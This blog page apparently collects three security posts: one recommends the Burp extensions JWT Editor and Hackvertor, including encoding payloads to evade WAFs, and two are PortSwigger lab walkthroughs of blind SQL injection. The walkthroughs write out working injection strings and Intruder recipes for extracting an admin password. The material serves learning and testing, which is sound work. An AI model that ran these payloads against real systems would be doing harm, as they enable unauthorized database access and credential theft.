charlesreid1.com blog

Two Burp Suite Extensions Worth Installing: JWT Editor and Hackvertor

Posted in Security

permalink

Short post, high signal-to-noise. If you're using Burp Suite for web security testing, there are two extensions we install on every fresh Burp installation before doing anything else. Both are free, both are in the official BApp Store, both take about thirty seconds to install, and both will save you hours the first time you need them.

Wiki reference: Burp Suite/Extensions.

How To Install BApp Store Extensions

For anyone who hasn't installed a Burp extension before:

  1. In Burp, go to Extensions → BApp Store
  2. Search for the extension name
  3. Click "Install"
  4. Wait for it to appear in the Installed tab

You can also install manually from a JAR file: Extensions → BApp Store → Manual install at the bottom, pick the file, click Open.

Extension 1: JWT Editor

JWT Editor on the BApp Store

JWT Editor lets you view and edit the contents of JSON Web Tokens in-flight. If a request contains a JWT in an Authorization: Bearer ... header or a cookie, JWT Editor gives you a tab that shows the decoded header and payload, lets you edit either one, and re-encodes and re-signs the token on the way out.

Why it matters: JWTs are opaque strings of base64 to the naked eye. If you want to test what happens when the role claim in the payload changes from user to admin, or what the server does when you swap the signing algorithm from RS256 to none, JWT Editor is the tool.

Without it: you're manually base64-decoding, editing JSON in a text editor, base64-encoding, and pasting the result back into the request. Every time. For every request.

With it: you edit the JSON in a form, and Burp handles the rest.

Extension 2: Hackvertor

Hackvertor on the BApp Store

Hackvertor is a tag-based conversion tool. You write tags in your request payloads that get expanded before the request goes out - things like URL-encode this, base64-encode that, MD5-hash the other thing, ROT13 the result, and so on. Tags can be nested and chained.

The killer feature is bypassing weak Web Application Firewalls. Many WAFs look for specific attack patterns - the literal string UNION SELECT, for example, or the literal string <script>. Hackvertor lets you write your payload once, then wrap it in a chain of encoding tags that produces a request the WAF doesn't recognize but the target application still parses correctly.

If you're doing any serious SQL injection or XSS testing against real-world targets, Hackvertor turns "the WAF blocked me" into "the WAF blocked one shape of my payload."

Other Extensions Worth Knowing About

We won't cover them here, but a few more from the BApp Store that come up regularly:

  • Autorize - automated access control testing
  • Turbo Intruder - much faster than the built-in Intruder for high-request-count attacks
  • Logger++ - richer request logging than the built-in HTTP history

Our full list, with notes on when each one matters, is on the Burp Suite/Extensions wiki page.

References

Tags:    security    burp suite    extensions    jwt    encoding    portswigger   

Blind SQL Injection with Conditional Errors (and Oracle's `dual` Table)

Posted in Security

permalink

Part 5 of our PortSwigger Web Security Academy series. This is the meaty one. We already covered blind SQLi with conditional responses, where the page renders differently depending on the truth of an injected boolean. This post covers what to do when the page doesn't render differently - but you can still smuggle information out by deliberately causing SQL errors.

The example is PortSwigger's Lab 12, which is Oracle-flavored. Full notes: SQL Injection/Blind.

The Six Steps

The full attack has six steps:

  1. Prove the parameter is injectable
  2. Fingerprint the database
  3. Confirm a users table exists
  4. Confirm the administrator user exists
  5. Find the password length
  6. Extract the password one character at a time

Every step builds on the previous one. This is the shape of most serious SQLi attacks - you don't get from "the parameter looks funny" to "here is the admin password" in a single request.

Step 1: Prove Injectability

Start with an injection that would be a valid SQL fragment if pasted into a query, using SQL string concatenation:

' || (select '') || '

This is well-formatted SQL. It should not error. But the server returns a 500.

Why? Because on Oracle, SELECT statements require a FROM clause. Oracle has a built-in single-row single-column table called dual that exists specifically for SELECTs that don't have a real table to draw from. Try:

' || (select '' from dual) || '

That returns 200. Well-formatted. Now confirm it wasn't a fluke:

' || (select '' from dualoiweuroqiurepoiquwer) || '

That returns 500, because there is no such table. Two data points - one using a real Oracle table, one using a garbage table - confirms both that the parameter is injectable and that the database is Oracle.

That is the fingerprint. Every major database has one or two quirks like this that betray it. Oracle's is dual + the FROM-required rule.

Step 2: Confirm the users Table Exists

Now that we know the database is Oracle, we can start reconnaissance:

' || (select '' from users) || '

If users exists, this should return 200 - but it may return 500 anyway, because the subquery might return multiple rows and the outer query expected a scalar. Add a row limiter:

' || (select '' from users where rownum = 1) || '
  1. The users table exists. rownum is another Oracle-ism - it's the one-indexed row number of the current result, and rownum = 1 gives you exactly one row.

Step 3: Confirm the administrator User Exists

Here is where things get interesting. Try:

' || (select '' from users where username='administrator') || '

The problem: this returns 200 whether or not the administrator user exists. If there is no matching row, the subquery returns nothing (empty string), and the concatenation is still valid. We need a way to make the query error only when our condition is true.

The trick is CASE WHEN ... THEN TO_CHAR(1/0) ELSE '' END. Divide by zero throws a runtime error, but only when the WHEN branch executes. Wrap it in a boolean:

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '

This returns 500, because 1=1 is true and we hit the divide-by-zero.

' || (select CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '

This returns 200, because 1=0 is false and we take the ELSE branch.

Now we have an oracle where 500 means true and 200 means false. Combine it with the users-table check:

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator') || '

The FROM clause is executed first. If the user exists, the CASE executes and we get 500. If the user doesn't exist, the SELECT returns no rows and no error fires - 200.

500 confirms the administrator user exists.

Step 4: Find the Password Length

Same primitive, different condition:

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and LENGTH(password)>1) || '

500 if password length is greater than 1. 200 if not.

Fire this at every integer from 1 to 50. The largest N that returns 500 is the password length minus one (because when LENGTH(password) > N is false, we get 200).

For efficiency, use Burp Intruder:

  • Send to Intruder
  • Positions → Clear all positions, then mark the 1 as the payload
  • Payloads → Numbers, sequential, 1 to 50, step 1
  • Run

At N = 20, response switches from 500 to 200. Password length is 20.

Step 5: Extract the Password Character by Character

Same idea, one more condition wrapper:

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and SUBSTR(password,1,1)='a') || '

500 if the first character of the password is a, 200 otherwise.

Fire at all 36 alphanumeric characters. One returns 500. That's character 1.

Then character 2:

' || ... and SUBSTR(password,2,1)='a') || '

Then character 3. And so on. 20 characters, 36 letters each - 720 requests total.

Step 6: Automate With Cluster Bomb

Doing 720 requests one at a time is not fun. Burp Intruder's Cluster Bomb attack type is built for exactly this:

  • Send to Intruder
  • Positions → Mark the substring position (the 1 in SUBSTR(password,1,1)) as payload 1
  • Positions → Mark the guessed character (the a) as payload 2
  • Attack type → Cluster bomb (runs every combination of payload 1 × payload 2)
  • Payload 1 → Numbers 1 to 20, step 1
  • Payload 2 → Brute forcer, alphabet abcdefghijklmnopqrstuvwxyz0123456789, min 1, max 1
  • Filter results by response code 500

You get exactly 20 hits, one per position. Read them off in order. Password extracted.

Why This Attack Is Worth Understanding

Every one of these tricks is small on its own. dual. rownum. CASE WHEN ... TO_CHAR(1/0). SUBSTR. Combined, they let you exfiltrate an entire password from a database that isn't showing you anything.

The 500-vs-200 oracle is the key move, and it generalizes. Anywhere the server does something you can observe based on a boolean you injected, you can build an oracle. Conditional errors are one instance. Time-based attacks (deliberately calling pg_sleep() or WAITFOR DELAY) are another. The plumbing changes, the shape is the same.

The Fix

Parameterized queries. Same as every other post in this series. There is no clever mitigation for SQL injection that isn't "stop building queries with string concatenation."

References

Tags:    security    sql injection    sqli    blind sqli    oracle    burp suite    portswigger   

Blind SQL Injection with Conditional Responses

Posted in Security

permalink

Part 4 of our PortSwigger Web Security Academy series. This one covers blind SQL injection with conditional responses, which is the easier of the two blind SQLi flavors we work through in this series.

Wiki notes: SQL Injection/Blind.

The Setup

Some SQL injection vulnerabilities never give you a direct channel back for the query results. The application runs a SQL query with your input, but the response doesn't render the result or leak database errors. The canonical example is a cookie tracking ID: the ID gets used in a SQL query on every request, but the query output is not rendered anywhere on the page.

You can still exploit it. The technique is called blind SQL injection, because you can't see the query result directly, but you can infer it from other things the page does.

The Boolean Oracle

The version we cover in this post relies on the page rendering differently depending on whether the injected query returns a row. Classic PortSwigger example: a page that shows "Welcome back" if the tracking ID matches a valid user in the database, and doesn't otherwise.

Send this request:

TrackingId=xyz' AND '1'='1

The AND '1'='1' is unconditionally true, so if the outer query would have matched anything, it still matches. Welcome-back banner shows up.

Now send this one:

TrackingId=xyz' AND '1'='2

The AND '1'='2' is unconditionally false, so no rows match. No welcome-back banner.

Two requests. Two different pages. That's your boolean oracle. Any yes/no question you can encode as a SQL condition, you can ask the database and get an answer via page behavior.

Extracting a Password One Character at a Time

Once you have the oracle, the game is to encode useful yes/no questions. The useful one is "is the first character of the administrator's password greater than X?"

TrackingId=xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

If the welcome-back banner appears, the first character is greater than m. If not, it's less than or equal to m.

Binary-search the alphabet:

  • Is char 1 > m? Yes → search n through z
  • Is char 1 > s? Yes → search t through z
  • Is char 1 > v? No → search t through v
  • Is char 1 > u? No → search t through u
  • Is char 1 > t? No → char 1 is t

Repeat for character 2. Then character 3. And so on until the password is in your notebook.

Automating It In Burp Suite

Doing this by hand for a 20-character password is not something a normal person will finish. Burp Intruder does the automation.

The recipe:

  1. Right-click the request in Burp, "Send to Intruder"
  2. In Intruder → Positions, mark the m (the letter being tested) as the payload position
  3. In Intruder → Payloads, set payload type to "Brute forcer" and give it the alphabet you care about (abcdefghijklmnopqrstuvwxyz plus digits and any symbols the password might contain)
  4. Run the attack. Sort results by response length or by whether the welcome-back string appears in the body. The one match is your answer.

For 20 characters, you would normally repeat this 20 times. Or, better, use Intruder's "Cluster bomb" attack type with two payload positions (one for character index, one for the letter), which runs all combinations in one go. Cluster bomb is worth learning - it comes up a lot in this kind of extraction work.

When It Doesn't Work

Conditional-response blind SQLi is not always available. Sometimes the page renders identically no matter what the query returns. When that happens, you fall back to either

  • Conditional errors - deliberately cause a SQL error when your boolean condition is true, and use HTTP 500 vs 200 as the oracle. This is the next post in the series.
  • Time-based - deliberately make the query sleep for a few seconds when your boolean is true, and use response time as the oracle. Useful when even errors are suppressed.

The theme is: as long as anything the server does depends on the truth of your boolean, you have an oracle. The rest is engineering.

References

Tags:    security    sql injection    sqli    blind sqli    portswigger    burp suite   

March 2022

How to Read Ulysses

July 2020

Applied Gitflow

September 2019

Mocking AWS in Unit Tests

May 2018

Current Projects

November 2017

A Hard(y) Math Problem